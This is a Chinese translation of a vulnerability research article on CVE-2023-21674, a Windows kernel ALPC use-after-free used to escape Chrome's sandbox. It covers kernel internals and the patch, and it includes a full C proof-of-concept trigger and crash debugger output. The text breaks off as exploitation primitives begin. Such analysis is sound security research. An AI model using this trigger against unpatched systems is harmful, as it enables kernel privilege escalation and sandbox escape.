原文始发于知道创宇404实验室翻译组:N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸
译者:知道创宇404实验室翻译组
原文链接:Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape)
本文为在X上演示的 N-days Chaining 漏洞利用分析第 2 篇。本文我们将介绍如何利用Windows内核漏洞逃逸Chrome沙盒。该漏洞是CVE-2023-21674,一种在NTOS内核中的Use-After-Free漏洞。
此漏洞是2023年第一个Windows内核在野漏洞。
1 Advanced Local Procedure Call(ALPC)
ALPC 是为了快速消息通信而开发的进程间通信功能。它自 Windows Vista开始就已经发布,主要用于在进程之间发送和接收数据。在ALPC出现之前,旧的Windows NT内核使用同步进程间通信,因此服务器和客户端必须等待消息。然而,ALPC支持异步通信,因此有时也称为异步LPC。
大多数ALPC API都没有文档记录,但可以参考像csandker-Blog和Garnier-Reccon2008分析文档。
在Windows中,有许多ALPC端口,它们可以通过WinObj.exe
列出。
一般情况下,ALPC端口通过NtAlpcCreatePort
创建,并通过其他进程使用NtAlpcConnectPort[Ex]
连接,然后通过NtAlpcAcceptConnectPort
接受客户端。连接建立后,消息通过NtAlpcSendWaitReceivePort
进行传递。因此,ALPC通信的整体流程如下所示。
可以从这里查看 ALPC 服务器和客户端代码
2 The Flag ALPC_MSGFLG_SYNC_REQUEST
Flag ALPC_MSGFLG_SYNC_REQUEST(0x20000)
是该漏洞中最重要的值。正如从名称中推断的那样,它决定是否同步处理 ALPC 消息。
要理解 ALPC 的消息流程,先从 NtAlpcSendWaitReceivePort
系统调用开始。
__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, ULONG flag, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER Timeout)
{
...
result = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, prev_mode, (PVOID *)&alpc_port_object, 0i64);
if ( result >= 0 )
{
...
if ( _bittest((const int *)&flag_and, 0x11u) )// ALPC_MSGFLG_SYNC_REQUEST(0x20000)
{
if ( SendMessage )
{
// Check Some flags
if ( _bittest((const int *)&flag_and, 0x10u) )// ALPC_MSGFLG_RELEASE_MESSAGE(0x10000)
{
result = 0xC00000F0;
}
else if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else if ( ReceiveMessage )
{
// Both of `SendMessage` and `ReceiveMessage` must exist.
result = AlpcpProcessSynchronousRequest(
alpc_port_object, flag_and, SendMessage, SendMessageAttributes,
ReceiveMessage, BufferLength, ReceiveMessageAttributes, Timeout, prev_mode);
}
else
{
result = 0xC0000705;
}
}
else
{
result = 0xC00000F0;
}
}
else
{
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( !SendMessage )
{
if ( ReceiveMessage )
// Receive Message via calling AlpcpReceiveMessage
}
if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else
{
// Send Message via calling AlpcpSendMessage
}
}
}
...
}
NtAlpcSendWaitReceivePort
从用户提供的句柄中检索 ALPC 对象(alpc_port_object
),并根据 flag
执行不同的分支。当该flag 被设置时,必须通过函数 AlpcpProcessSynchronousRequest
连续进行发送和接收消息;在这种情况下,SendMessage
和 ReceiveMessage
都不应为 NULL
。另一方面,当 flag 未设置时,用户一次只能执行一个任务,即发送或接收消息,但具体取决于是否存在 SendMessage
和 ReceiveMessage
参数。
__int64 __fastcall AlpcpProcessSynchronousRequest(_ALPC_PORT *alpc_port_object, unsigned int flag_and, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER timeout, int prev_mode)
{
...
/*
[1]. Check Address and Get Port Objects
~~~ Omitted ~~~
*/
if ( ConnectionPort && ObReferenceObjectSafe((__int64)ConnectionPort) )
{
u1State = alpc_port_object->u1.State;
...
// [2].Send message
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( (u1State & 0x1000) != 0 )
result = AlpcpSendLegacySynchronousRequest(alpc_port_object, &dispatchContext, SendMessage, prev_mode);
else
result = AlpcpSendMessage(&dispatchContext, SendMessage, SendMessageAttributes, prev_mode);
if ( result < 0 )
goto LABEL_95;
if ( _bittest((const int *)&flag_and, 0x14u) )
{
prevmode = 1;
}
else
{
prevmode = KeGetCurrentThread()->PrevMode;
}
RecvMesssage = 0i64;
dispatchContext.PortObject = ConnectionPort;
// [3].Receive message
result = AlpcpReceiveSynchronousReply(
&dispatchContext.PortObject,
v34,
(_KALPC_MESSAGE **)&RecvMesssage,
AllocAttr,
timeout);
// Copy the Received Data
AlpcpProcessSynchronousRequest
在验证参数地址 ([1]
)后检索 ALPC 端口对象,然后通过 AlpcpReceiveSynchronousReply
([3]
) 同步接收响应。
下面来看看 AlpcpSendMessage
分析发送消息的过程。(AlpcpSendLegacySynchronousRequest
也在内部调用 AlpcpSendMessage
。)
__int64 __fastcall AlpcpSendMessage(_ALPC_DISPATCH_CONTEXT *dispatchContext, _PORT_MESSAGE *sendPortMsg, _ALPC_MESSAGE_ATTRIBUTES *sendMsgAttributes, char accessMode)
{
...
// Copy the user message to `copied_sendMsg`
// [4]. Validate the message
result = AlpcpValidateMessage((unsigned __int16 *)&copied_sendMsg, flags_check);
if ( (int)result < 0 )
return result;
MessageID = copied_sendMsg.MessageId;
...
// [5]. Get Message or Create Message
if ( MessageID )
{
dispatch_ctx_flag |= 0x10u;
result = AlpcpLookupMessage(port_obj, MessageID, copied_sendMsg.CallbackId, accessMode, &alpc_message);
...
// Validate `alpc_message`
}
else{
...
// nt!AlpcpAllocateMessageFunction4
object = (PSLIST_ENTRY)qword_140CEBC70(dword_140CEBC64, dword_140CEBC6C, dword_140CEBC68);
if ( !object )
return 3221225626i64;
alpc_message_ = (_KALPC_MESSAGE *)(object + 48);
...
// Setup the Data for `alpc_message`
}
// [6]. Dispatch Message
dispatchContext->Message = alpc_message_;
dispatchContext->TotalLength = copied_sendMsg.u1.s1.TotalLength;
*(_DWORD *)&dispatchContext->Type = copied_sendMsg.u2.ZeroInit;
if ( alpc_message_->OwnerPort )
{
// The message is found by `AlpcpLookupMessage`
if ( alpc_message_->WaitingThread )
result = AlpcpDispatchReplyToWaitingThread(dispatchContext);
else
result = AlpcpDispatchReplyToPort(dispatchContext);
}
else
{
// The message is newly created
result = AlpcpDispatchNewMessage(dispatchContext);
}
}
AlpcpSendMessage
首先将用户消息复制到内核内存,并通过 AlpcpValidateMessage
([4]
) 进行验证。如果消息有 MessageID
,则在 MessageID
上进行查找以检索相应的消息对象。否则,将创建一个新的 ALPC 消息对象 ([5]
)。
然后,在 [6]
处,根据消息中的字段,消息由 AlpcpDispatchReplyToWaitingThread
、AlpcpDispatchReplyToPort
或 AlpcpDispatchNewMessage
处理。这些函数以类似的方式处理 ALPC_MSGFLG_SYNC_REQUEST
,而其他处理部分可能有所不同。
以下是处理 ALPC_MSGFLG_SYNC_REQUEST
的简化代码。
// Setup message and Insert message into QUEUE
// The common routine for `ALPC_MSGFLG_SYNC_REQUEST` Flag
curthread = (struct _ETHREAD *)KeGetCurrentThread();
if(flag & 0x20000 != 0) // ALPC_MSGFLG_SYNC_REQUEST
{
message->WaitingThread = curthread;
_InterlockedExchange64((volatile __int64 *)&curthread->AlpcMessageId, (__int64)message);
}
当设置了 ALPC_MSGFLG_SYNC_REQUEST
标志后,消息中的 WaitingThread
被设置为当前线程对象,并且AlpcMessageId
当前线程的值被设置为消息的地址。由于消息将被同步处理,因此响应的目标线程必须是当前线程。
另一方面,如果在没有 ALPC_MSGFLG_SYNC_REQUEST
标志的情况下发送消息,则 WaitingThread
被初始化为 NULL
,如下代码所示。
__int64 __fastcall AlpcpDispatchReplyToWaitingThread(_ALPC_DISPATCH_CONTEXT *dispatchContext)
{
...
portQueue = message->PortQueue;
if ( portQueue ){
// Remove message from port Queue
}
...
// ALPC_MSGFLG_SYNC_REQUEST is NOT set
if ( (flags & 0x20000) == 0 )
{
message->WaitingThread = NULL;
...
}
}
在 AlpcpSendMessage
中发送消息后,会调用 AlpcpReceiveSynchronousReply
([3]
) 来获取响应。([3]
位于本文的顶部。)
__int64 __fastcall AlpcpReceiveSynchronousReply(
_ALPC_DISPATCH_CONTEXT *dispatchContext,
KPROCESSOR_MODE prevmode,
_KALPC_MESSAGE **recvMsg,
int AllocatedAttributes,
PLARGE_INTEGER timeout)
{
CurrentThread = KeGetCurrentThread();
PortObject = dispatchContext->PortObject;
// [7]. Blocking while receiving
result = AlpcpSignalAndWait(dispatchContext, &CurrentThread->1160, WrLpcReply, prevmode, timeout, 1);
// [8]. Get Message and Nullify AlpcMessageId
message = (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&CurrentThread->AlpcMessageId, 0i64);
msgState = message->u1.State & 0xFFFFFFF8;
...
// Check Message State
if ( result_ != NT_SUCCESS )
{
// Something ERROR
if ( message->WaitingThread == CurrentThread )
{
// [9]. Initialize the WaitingThread to NULL
message->WaitingThread = 0i64;
--WORD1(message[-1].PortMessage.DoNotUseThisField);
if ( (message->u1.State & 0x80u) != 0 )
AlpcpUnlockMessage((ULONG_PTR)message);
else
AlpcpCancelMessage(port_obj, message, 0);
return result_;
}
AlpcpWaitForSingleObject(&CurrentThread->1160, WrLpcReply, 0, 0, 0i64);
v15 = message->u1.State;
result_ = 0;
}
...
// [10]. Check that Message is Ready
if ( _bittest((const int *)&msgState, 9u) )
{
msgAttr = (message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0) | 0x40000000;
if ( !message->MessageAttributes.View )
msgAttr = message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0;
if ( !message->MessageAttributes.HandleData )
msgAttr = msgAttr;
else
msgAttr = msgAttr | 0x10000000;
if ( (msgAttr & AllocatedAttributes) == 0 )
{
message->PortMessage.u2.s2.Type &= 0xDFFFu;
*recvMsg = message;
return result_;
}
}
...
}
AlpcpReceiveSynchronousReply
通过调用 AlpcpSignalAndWait
等待响应,并阻塞调用线程。当另一个进程发送对该消息的响应时, WaitingThread
消息的内容将根据回复进程的标志值进行更新 ([7]
)。如果进程在没有 ALPC_MSGFLG_SYNC_REQUEST
标志的情况下回复,则消息的 WaitingThread
将根据上文解释更改为 NULL
;否则,它将是回复线程的地址。
当 AlpcpSignalAndWait
返回后,当前线程的 AlpcMessageId
中的消息对象被检索,并且 AlpcMessageId
字段被置空 ([8]
)。如果由于某些原因(例如超时) AlpcpSignalAndWait
返回任何错误,则 result
将不是 NT_SUCCESS
,并且消息的 WaitingThread
将保持不变。在这种情况下,消息的 WaitingThread
被设置为 NULL
([9]
)。
如果消息接收成功,则AlpcpReceiveSynchronousReply
检查消息的状态并验证其属性 ([10]
)。当所有检查都通过时,消息将被返回并复制到用户内存中。
综上所述,在 AlpcpReceiveSynchronousReply
函数结束时, AlpcMessageId
当前线程的 of
将被更改为 NULL
,而消息的 WaitingThread
将具有 NULL
或回复线程的地址。
3 CVE-2023–21674
以下是两个实体之间ALPC通信过程中说的 WaitingThread
和 AlpcMessageId
值的变化。在这里,Thread1
发起连接并发送带有 ALPC_MSGFLG_SYNC_REQUEST
的消息,而 Thread2
回复消息时未使用 ALPC_MSGFLG_SYNC_REQUEST
。
在上述情况下,如果通信没有任何错误,消息的 WaitingThread
和当前线程的 AlpcMessageId
都将始终为 NULL
。
然而,让我们考虑另一种情况,即只有 Thread1
,并且在设置了 ALPC_MSGFLG_SYNC_REQUEST
的情况下发送带有 set 的ALPC消息后立即返回。然后 WaitingThread
消息的of
将指向当前线程。在这种情况下,如果终止了 Thread1
(即被释放),那么 WaitingThread
消息的指针将是一个悬空指针,指向已释放的线程对象。因此此后对其的任何取消引用都将导致 Use-After-Free 漏洞。
这是 CVE-2023–21674 的根本原因,它可以从系统调用 NtWaitForWorkViaWorkerFactory
中触发。
__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}
NtWaitForWorkViaWorkerFactory
的最后一个参数是用户提供的 DeferredWork
,由 _WORKER_FACTORY_DEFERRED_WORK
结构表示。
// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1217
typedef struct _WORKER_FACTORY_DEFERRED_WORK
{
struct _PORT_MESSAGE *AlpcSendMessage;
PVOID AlpcSendMessagePort;
ULONG AlpcSendMessageFlags;
ULONG Flags;
} WORKER_FACTORY_DEFERRED_WORK, *PWORKER_FACTORY_DEFERRED_WORK;
_WORKER_FACTORY_DEFERRED_WORK
结构具有指向 ALPC 消息的指针和一个标志位。因此,我们可以通过设置 ALPC_MSGFLG_SYNC_REQUEST
调用 NtWaitForWorkViaWorkerFactory
来触发漏洞。
4 CVE-2023–21674 补丁
__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
+ if ( _bittest((const int *)&sendMessageFlags_and, 0x11u) ) // checks ALPC_MSGFLG_SYNC_REQUEST
+ goto ERROR;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}
补丁非常简单。如果 AlpcSendMessageFlags
值包含 ALPC_MSGFLG_SYNC_REQUEST
,那么 NtWaitForWorkViaWorkerFactory
报错。
5 触发漏洞
要触发漏洞,我们应通过 NtWaitForWorkViaWorkerFactory
发送一个 ALPC 消息。
// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1225
NTSYSCALLAPI
NTSTATUS
NTAPI
NtWaitForWorkViaWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_Out_writes_to_(Count, *PacketsReturned) struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets,
_In_ ULONG Count,
_Out_ PULONG PacketsReturned,
_In_ struct _WORKER_FACTORY_DEFERRED_WORK* DeferredWork
);
如上面的函数定义所示,我们需要一个 WorkerFactory
对象的句柄。这个对象可以通过调用 NtCreateWorkerFactory
来创建。
NTSTATUS NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle, // We need CompletionPortHandle
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);
要通过 NtCreateWorkerFactory
系统调用成功创建一个 WorkerFactory
对象,还需要一个 IoCompletion
对象的句柄。它可以通过 NtCreateIoCompletion
来创建。
NTSTATUS NtCreateIoCompletion(
OUT PHANDLE IoCompletionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN ULONG
最后,我们可以如下创建一个 WorkerFactory
对象。
ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);
ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);
接下来,我们需要一个 ALPC 端口句柄。NtAlpcCreatePort
需要一个 ALPC 端口的名称,如 \RPC Control\Test
,但我们也可以通过将 ObjectAttributes
设置为 NULL
来创建一个匿名端口。
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
// NtAlpcCreatePort (_Out_ PHANDLE PortHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes)
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %p\n", hPort);
最后,我们准备通过使用正确的参数调用 NtWaitForWorkViaWorkerFactory
系统,来触发漏洞。
LPVOID CreateMsgMem(PPORT_MESSAGE PortMessage, SIZE_T MessageSize, LPVOID Message)
{
/*
It's important to understand that after the PORT_MESSAGE struct is the message data
*/
LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MessageSize + sizeof(PORT_MESSAGE));
memmove(lpMem, PortMessage, sizeof(PORT_MESSAGE));
memmove((BYTE*)lpMem + sizeof(PORT_MESSAGE), Message, MessageSize);
return(lpMem);
}
int trigger() {
NTSTATUS ntstatus;
ULONG outlen = 0;
ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);
ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);
PORT_MESSAGE pmSend;
LPVOID lpMem;
ALPC_PORT_ATTRIBUTES serverPortAttr;
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %p\n", hPort);
piocomp = (PFILE_IO_COMPLETION_INFORMATION)malloc(0x100);
pwfdw = (PWORKER_FACTORY_DEFERRED_WORK)malloc(0x100);
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = 0;
pmSend.CallbackId = 0;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)L"AAAAAAAAAAAAAAAAAAA");
pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;
printf("[+] Trigger Vulnerability\n");
NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
return 0;
};
int main() {
// Create Thread
DWORD threadid = 0;
HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)trigger, NULL, 0, &threadid);
//WaitForSingleObject(hthread, INFINITE);
Sleep(500);
TerminateThread(hthread, -1);
CloseHandle(hthread);
printf("[+] Close Some Handles\n");
CloseHandle(hWorkerFactory);
CloseHandle(hIoComp);
CloseHandle(hPort); // Trigger UAF
}
在一个单独的线程中调用NtWaitForWorkViaWorkerFactory
,然后通过调用TerminateThread
和CloseHandle
终止该线程;这些步骤将创建一个 ALPC 消息对象,该对象的WaitingThread
字段中有一个悬空指针。 最终,关闭端口会对ALPC对象进行清理,从而取消引用悬空指针(UAF)。
__int64 __fastcall AlpcpCancelMessage(_ALPC_PORT *a1, _KALPC_MESSAGE *msg, int a3)
{
...
freed_thread = msg->WaitingThread;
if ( freed_thread )
{
// Freed thread is referenced here when the ALPC object is freed.
if ( (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&freed_thread->AlpcMessageId, 0i64) == msg )
{
HIWORD(msg[-1].PortMessage.8) -= 2;
msg->WaitingThread = 0i64;
KeReleaseSemaphoreEx((__int64)&freed_thread->1160, 1u, 1, v20, 2);
}
}
...
}
0: kd> g
Breakpoint 0 hit
nt!AlpcpCancelMessage+0x353:
fffff801`4d8bc737 48878128050000 xchg rax,qword ptr [rcx+528h]
0: kd> !object @rcx
Object: ffffd38aa9d76080 Type: (ffff9901c3b7a000)
ObjectHeader: ffffd38aa9d76050 (new version)
HandleCount: 0 PointerCount: 0
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ref Count is ZERO!!!!
0: kd> !pool @rcx
Pool page ffffd38aa9d76080 region is Nonpaged pool
*ffffd38aa9d76000 size: 700 previous size: 0 (Free ) *.... (Protected) Process: 4e48033601c30916
Owning component : Unknown (update pooltag.txt)
==> @rcx is freed
如果在 ntoskrnl.exe
上启用了验证器,就可以看到崩溃情况。
*** Fatal System Error: 0x00000050
(0xFFFFE70E9EB60BA8,0x0000000000000002,0xFFFFF80766AC8737,0x0000000000000002)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`6680e840 cc int 3
1: kd> !analyze -v
Connected to Windows 10 19041 x64 target at (Mon Jan 16 20:18:10.078 2023 (UTC + 9:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
............................................................
Loading User Symbols
......
Loading unloaded module list
......
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffe70e9eb60ba8, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80766ac8737, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
...
TRAP_FRAME: ffffa701a41aa650 -- (.trap 0xffffa701a41aa650)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=ffffe70e9eb60680
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80766ac8737 rsp=ffffa701a41aa7e0 rbp=0000000000000001
r8=00000000ffffffff r9=7fffe70e9eb667b8 r10=7ffffffffffffffc
r11=ffffa701a41aa8b0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
nt!AlpcpCancelMessage+0x353:
fffff807`66ac8737 48878128050000 xchg rax,qword ptr [rcx+528h] ds:ffffe70e`9eb60ba8=????????????????
Resetting default scope
STACK_TEXT:
ffffa701`a41a9bf8 fffff807`669214a2 : ffffa701`a41a9d60 fffff807`66789a50 fffff807`6640c000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffa701`a41a9c00 fffff807`66920a86 : fffff807`00000003 ffffa701`a41a9d60 fffff807`6681c640 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffa701`a41a9c60 fffff807`668053a7 : 00000000`00000000 00000000`00000000 ffffe70e`9eb60ba8 ffffe70e`9eb60ba8 : nt!KeBugCheck2+0x946
ffffa701`a41aa370 fffff807`6684021d : 00000000`00000050 ffffe70e`9eb60ba8 00000000`00000002 ffffa701`a41aa650 : nt!KeBugCheckEx+0x107
ffffa701`a41aa3b0 fffff807`66645a40 : 00000000`00000000 00000000`00000002 ffffa701`a41aa6d0 00000000`00000000 : nt!MiSystemFault+0x1dc7ad
ffffa701`a41aa4b0 fffff807`66814dd8 : ffffe70e`9e3b0000 fffff807`66702dcc ffffe70e`76b4ef80 ffffe70e`71215100 : nt!MmAccessFault+0x400
ffffa701`a41aa650 fffff807`66ac8737 : ffffd70c`f67eace0 ffffd70c`00000000 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x358
ffffa701`a41aa7e0 fffff807`66ac64e1 : ffffffff`00000001 ffffe70e`9e70ee20 ffffe70e`00010000 ffffe70e`9e70ee20 : nt!AlpcpCancelMessage+0x353
ffffa701`a41aa860 fffff807`66ac624f : ffffffff`ffffffff ffffe70e`9e70ee20 ffffe70e`9e70ef80 ffffe70e`79760f00 : nt!AlpcpFlushQueue+0xfd
ffffa701`a41aa8a0 fffff807`66ac608b : ffffe70e`00000000 ffffffff`ffffffff ffffa701`a41aaa39 ffffe70e`9e70ef80 : nt!AlpcpFlushMessagesPort+0x27
ffffa701`a41aa8e0 fffff807`66ac5fca : ffffe70e`9e70ee20 00000000`00000000 ffffe70e`9eb66380 ffffa701`a41aaa39 : nt!AlpcpDoPortCleanup+0x8f
ffffa701`a41aa920 fffff807`66a101ef : ffffd70c`f2ccd2b0 00000000`00000000 ffffd70c`00000000 ffffd70c`f2ccd2b0 : nt!AlpcpClosePort+0x4a
ffffa701`a41aa950 fffff807`66a141cc : 00000000`000000ac 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObCloseHandleTableEntry+0x51f
ffffa701`a41aaa90 fffff807`66818af5 : ffffe70e`9eb60600 ffffe70e`7f4ae680 ffffa701`a41aab80 ffffe70e`00000000 : nt!NtClose+0xec
ffffa701`a41aab00 00007ffb`de2ed2a4 : 00007ffb`dbfe6575 00000000`00000000 00000000`00001b04 00000204`f3f78320 : nt!KiSystemServiceCopyEnd+0x25
000000a4`4bb7faf8 00007ffb`dbfe6575 : 00000000`00000000 00000000`00001b04 00000204`f3f78320 00000000`00000000 : ntdll!NtClose+0x14
000000a4`4bb7fb00 00007ff7`e4fe148f : 00007ff7`e4fe3558 00000000`00000000 000000a4`4bb7faf8 00000000`00000000 : KERNELBASE!CloseHandle+0x45
6 Exploitation
为了利用这个漏洞,需要找到WaitingThread
被使用的位置。我们发现了几个,例如NtAlpcOpenSenderThread
、NtAlpcOpenSenderProcess
、AlpcpGetEffectiveTokenMessage
、LpcpCopyRequestData
等等。(WaitingThread
也在发送消息时被使用,可以利用这部分代码进行利用。但本文不会涉及这部分。)
__int64 __fastcall NtAlpcOpenSenderThread(
PHANDLE ThreadHandle,
HANDLE a2,
PPORT_MESSAGE a3,
bool a4,
int access_mask,
_OWORD *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
ObfReferenceObject(waiting_thread); // Reference
AlpcpUnlockMessage((ULONG_PTR)v17);
v14 = PsOpenThread((HANDLE *)phthread, access_mask, &object_attributes, &Source2.8, 0, PreviousMode);
DereferenceObject((PADAPTER_OBJECT)waiting_thread); // Dereference
...
}
__int64 __fastcall NtAlpcOpenSenderProcess(
PHANDLE ProcessHandle,
void *a2,
PPORT_MESSAGE a3,
